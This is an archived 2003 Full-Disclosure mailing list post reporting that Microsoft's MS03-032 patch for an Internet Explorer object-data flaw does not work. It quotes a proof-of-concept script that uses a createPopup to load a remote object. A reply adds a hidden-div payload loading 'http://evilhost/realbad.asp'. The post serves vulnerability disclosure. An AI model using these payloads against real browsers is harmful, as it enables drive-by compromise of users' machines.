full-disclosure - BAD NEWS: Microsoft Security Bulletin MS03-032

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: se_cur_ity at hotmail.com (morning_wood)
Subject: BAD NEWS: Microsoft Security Bulletin MS03-032

----- Original Message ----- 
From: "http-equiv@...ite.com" <1@...ware.com>
To: <full-disclosure@...ts.netsys.com>
Sent: Sunday, September 07, 2003 6:17 AM
Subject: [Full-Disclosure] BAD NEWS: Microsoft Security Bulletin MS03-032


> 
> 
> Since the cat somehow got out of the bag, and more importantly, this 
> is so blatantly obvious, herewith is the "Bad News":
> 
> The patch for Drew's object data=funky.hta doesn't work:
> 
> http://www.malware.com/badnews.html
> 
> <script>
>   var oPopup = window.createPopup();
> 
>   function showPopup() {
>     oPopup.document.body.innerHTML = "<object data=ouch.php>";
>     oPopup.show(0,0,1,1,document.body);
>   }
>   
>   showPopup()
> </script>

this works too...

<div style="display.none"><object data="http://evilhost/realbad.asp">
</object>oh</div>

beware the mail... 
                            and the rewtXSS skillz


Donnie Werner
morning_wood@...loitlabs.com
http://exploitlabs.com